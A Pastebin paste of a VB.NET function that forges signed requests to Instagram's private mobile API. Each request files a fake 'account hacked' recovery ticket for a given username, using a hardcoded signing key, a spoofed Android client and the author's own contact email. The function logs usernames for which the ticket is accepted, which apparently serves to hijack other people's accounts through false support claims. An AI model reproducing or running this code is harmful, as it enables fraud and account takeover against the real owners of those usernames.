Advertisement
iemadxi

ticket

Jul 26th, 2018
1,765
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.60 KB | None | 0 0
  1. Public Function checkusername(ByVal user As String) As Boolean
  2.  
  3.  
  4. Dim result As Object = False
  5. Application.DoEvents()
  6. Try
  7. Dim text As String = Guid.NewGuid().ToString().ToUpper()
  8. Dim str As String = Guid.NewGuid().ToString().ToUpper()
  9. Dim stringBuilder As StringBuilder = New StringBuilder()
  10. Dim stringBuilder2 As StringBuilder = stringBuilder
  11. Dim text2 As String = String.Concat(New String() {"{""signup_email"":""skrept21@gmail.com"",""device_id"":""", "71228EE0-EA2E-4FFC-A1B6-4F06FB3686FF", """,""_uuid"":""", "71228EE0-EA2E-4FFC-A1B6-4F06FB3686FF", """,""additional_info"":""", "My account is hacked =(", """,""username"":""", "" + user + "", """,""reason_failed"":""", "ACCOUNT_HACKED", """,""account_type"":""", "personal_without_photo", """,""contact_email"":""skrept21@gmail.com"",""_uid"":""", "", """,""_csrftoken"":""missing""}"})
  12. text2 = String.Format("{0}.{1}", Form1.Sha256_hash(text2, "f372b2a5f14d1bebedaaa4ac6f8d506db30ffdd6185b8e0cdfa7dab42f5a9cc6"), text2)
  13. stringBuilder2.AppendLine("--" + str)
  14. stringBuilder2.AppendLine("Content-Disposition: form-data; name=""signed_body""")
  15. stringBuilder2.AppendLine()
  16. stringBuilder2.AppendLine(text2)
  17. stringBuilder2.AppendLine("--" + str)
  18. stringBuilder2.AppendLine("Content-Disposition: form-data; name=""ig_sig_key_version""")
  19. stringBuilder2.AppendLine()
  20. stringBuilder2.AppendLine("4")
  21. stringBuilder2.Append("--" + str + "--")
  22. Dim bytes As Byte() = Encoding.UTF8.GetBytes(stringBuilder.ToString())
  23. Dim httpWebRequest As HttpWebRequest = CType(WebRequest.Create("https://i.instagram.com/api/v1/users/vetted_device_login_support/"), HttpWebRequest)
  24. httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip
  25. httpWebRequest.Method = "POST"
  26. httpWebRequest.Host = "i.instagram.com"
  27. httpWebRequest.UserAgent = "Instagram 22.0.0.15.68 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"
  28. httpWebRequest.Headers.Add("Accept-Language", "ar;q=1, en;q=0.9")
  29. httpWebRequest.KeepAlive = True
  30. httpWebRequest.Proxy = Nothing
  31. httpWebRequest.ContentType = "multipart/form-data; boundary=" + str
  32. httpWebRequest.ContentLength = CLng(bytes.Length)
  33. Dim requestStream As Stream = httpWebRequest.GetRequestStream()
  34. requestStream.Write(bytes, 0, bytes.Length)
  35. requestStream.Close()
  36. Dim httpWebResponse As HttpWebResponse = CType(httpWebRequest.GetResponse(), HttpWebResponse)
  37. Dim streamReader As StreamReader = New StreamReader(httpWebResponse.GetResponseStream())
  38. Dim aaa = streamReader.ReadToEnd
  39.  
  40. Try
  41. Dim flag As Boolean = streamReader.ReadToEnd().Contains("ok")
  42. Dim flag2 As Boolean = flag
  43. If flag2 Then
  44.  
  45. TextBox1.AppendText(user & vbCrLf)
  46.  
  47. End If
  48. streamReader.Close()
  49. Finally
  50. Dim flag3 As Boolean = streamReader IsNot Nothing
  51. Dim flag2 As Boolean = flag3
  52. If flag2 Then
  53. CType(streamReader, IDisposable).Dispose()
  54. End If
  55. End Try
  56. httpWebResponse.Close()
  57. Catch ex As Exception
  58. Me.loops += 1
  59. Me.TextBox5.Text = Me.loops.ToString
  60. End Try
  61. Return result
  62.  
  63.  
  64.  
  65. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement